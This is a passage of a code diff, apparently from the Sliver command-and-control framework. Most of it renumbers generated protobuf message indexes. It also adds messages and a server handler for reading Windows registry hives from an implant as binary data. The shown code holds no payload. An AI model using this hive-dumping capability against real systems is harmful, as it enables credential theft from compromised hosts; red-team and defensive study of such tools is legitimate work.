0: return &v.state case 1: @@ -15656,7 +15802,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[150].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RportFwdListener); i { + switch v := v.(*RportFwdStopListenerReq); i { case 0: return &v.state case 1: @@ -15668,7 +15814,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[151].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RportFwdListeners); i { + switch v := v.(*RportFwdStartListenerReq); i { case 0: return &v.state case 1: @@ -15680,7 +15826,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[152].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RportFwdListenersReq); i { + switch v := v.(*RportFwdListener); i { case 0: return &v.state case 1: @@ -15692,7 +15838,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[153].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RPortfwd); i { + switch v := v.(*RportFwdListeners); i { case 0: return &v.state case 1: @@ -15704,7 +15850,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[154].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RPortfwdReq); i { + switch v := v.(*RportFwdListenersReq); i { case 0: return &v.state case 1: @@ -15716,7 +15862,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[155].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ChmodReq); i { + switch v := v.(*RPortfwd); i { case 0: return &v.state case 1: @@ -15728,7 +15874,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[156].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Chmod); i { + switch v := v.(*RPortfwdReq); i { case 0: return &v.state case 1: @@ -15740,7 +15886,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[157].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ChownReq); i { + switch v := v.(*ChmodReq); i { case 0: return &v.state case 1: @@ -15752,7 +15898,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[158].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Chown); i { + switch v := v.(*Chmod); i { case 0: return &v.state case 1: @@ -15764,7 +15910,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[159].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ChtimesReq); i { + switch v := v.(*ChownReq); i { case 0: return &v.state case 1: @@ -15776,7 +15922,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[160].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Chtimes); i { + switch v := v.(*Chown); i { case 0: return &v.state case 1: @@ -15788,7 +15934,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[161].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MemfilesListReq); i { + switch v := v.(*ChtimesReq); i { case 0: return &v.state case 1: @@ -15800,7 +15946,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[162].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MemfilesAddReq); i { + switch v := v.(*Chtimes); i { case 0: return &v.state case 1: @@ -15812,7 +15958,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[163].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MemfilesAdd); i { + switch v := v.(*MemfilesListReq); i { case 0: return &v.state case 1: @@ -15824,7 +15970,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[164].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MemfilesRmReq); i { + switch v := v.(*MemfilesAddReq); i { case 0: return &v.state case 1: @@ -15836,7 +15982,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[165].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MemfilesRm); i { + switch v := v.(*MemfilesAdd); i { case 0: return &v.state case 1: @@ -15848,7 +15994,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[166].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RegisterWasmExtensionReq); i { + switch v := v.(*MemfilesRmReq); i { case 0: return &v.state case 1: @@ -15860,7 +16006,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[167].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RegisterWasmExtension); i { + switch v := v.(*MemfilesRm); i { case 0: return &v.state case 1: @@ -15872,7 +16018,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[168].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeregisterWasmExtensionReq); i { + switch v := v.(*RegisterWasmExtensionReq); i { case 0: return &v.state case 1: @@ -15884,7 +16030,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[169].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ListWasmExtensionsReq); i { + switch v := v.(*RegisterWasmExtension); i { case 0: return &v.state case 1: @@ -15896,7 +16042,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[170].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ListWasmExtensions); i { + switch v := v.(*DeregisterWasmExtensionReq); i { case 0: return &v.state case 1: @@ -15908,7 +16054,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[171].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExecWasmExtensionReq); i { + switch v := v.(*ListWasmExtensionsReq); i { case 0: return &v.state case 1: @@ -15920,7 +16066,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[172].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExecWasmExtension); i { + switch v := v.(*ListWasmExtensions); i { case 0: return &v.state case 1: @@ -15932,7 +16078,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[173].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ServicesReq); i { + switch v := v.(*ExecWasmExtensionReq); i { case 0: return &v.state case 1: @@ -15944,7 +16090,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[174].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ServiceDetailReq); i { + switch v := v.(*ExecWasmExtension); i { case 0: return &v.state case 1: @@ -15956,7 +16102,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[175].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ServiceDetails); i { + switch v := v.(*ServicesReq); i { case 0: return &v.state case 1: @@ -15968,7 +16114,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[176].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Services); i { + switch v := v.(*ServiceDetailReq); i { case 0: return &v.state case 1: @@ -15980,7 +16126,7 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[177].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ServiceDetail); i { + switch v := v.(*ServiceDetails); i { case 0: return &v.state case 1: @@ -15992,7 +16138,19 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[178].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*StartServiceByNameReq); i { + switch v := v.(*Services); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_sliverpb_sliver_proto_msgTypes[179].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ServiceDetail); i { case 0: return &v.state case 1: @@ -16004,6 +16162,18 @@ func file_sliverpb_sliver_proto_init() { } } file_sliverpb_sliver_proto_msgTypes[180].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*StartServiceByNameReq); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_sliverpb_sliver_proto_msgTypes[182].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SockTabEntry_SockAddr); i { case 0: return &v.state @@ -16022,7 +16192,7 @@ func file_sliverpb_sliver_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_sliverpb_sliver_proto_rawDesc, NumEnums: 3, - NumMessages: 182, + NumMessages: 184, NumExtensions: 0, NumServices: 0, }, diff --git a/protobuf/sliverpb/sliver.proto b/protobuf/sliverpb/sliver.proto index 6e35ac4fe4..7d38594854 100644 --- a/protobuf/sliverpb/sliver.proto +++ b/protobuf/sliverpb/sliver.proto @@ -775,6 +775,19 @@ message RegistryValuesList { commonpb.Response Response = 9; } +message RegistryReadHiveReq { + string RootHive = 1; + string RequestedHive = 2; + commonpb.Request Request = 9; +} + +message RegistryReadHive { + bytes Data = 1; + string Encoder = 2; + + commonpb.Response Response = 9; +} + // Tunnel - Tunnel related messages message Tunnel { uint64 TunnelID = 8 [jstype = JS_STRING]; diff --git a/server/rpc/rpc-registry.go b/server/rpc/rpc-registry.go index dd7b35a5b7..ff8b753e40 100644 --- a/server/rpc/rpc-registry.go +++ b/server/rpc/rpc-registry.go @@ -84,3 +84,13 @@ func (rpc *Server) RegistryListValues(ctx context.Context, req *sliverpb.Registr } return resp, nil } + +// RegistryDumpHive - gRPC interface to dump a specific registry hive as a binary file +func (rpc *Server) RegistryReadHive(ctx context.Context, req *sliverpb.RegistryReadHiveReq) (*sliverpb.RegistryReadHive, error) { + resp := &sliverpb.RegistryReadHive{Response: &commonpb.Response{}} + err := rpc.GenericHandler(req, resp) + if err != nil { + return nil, err + } + return resp, nil +}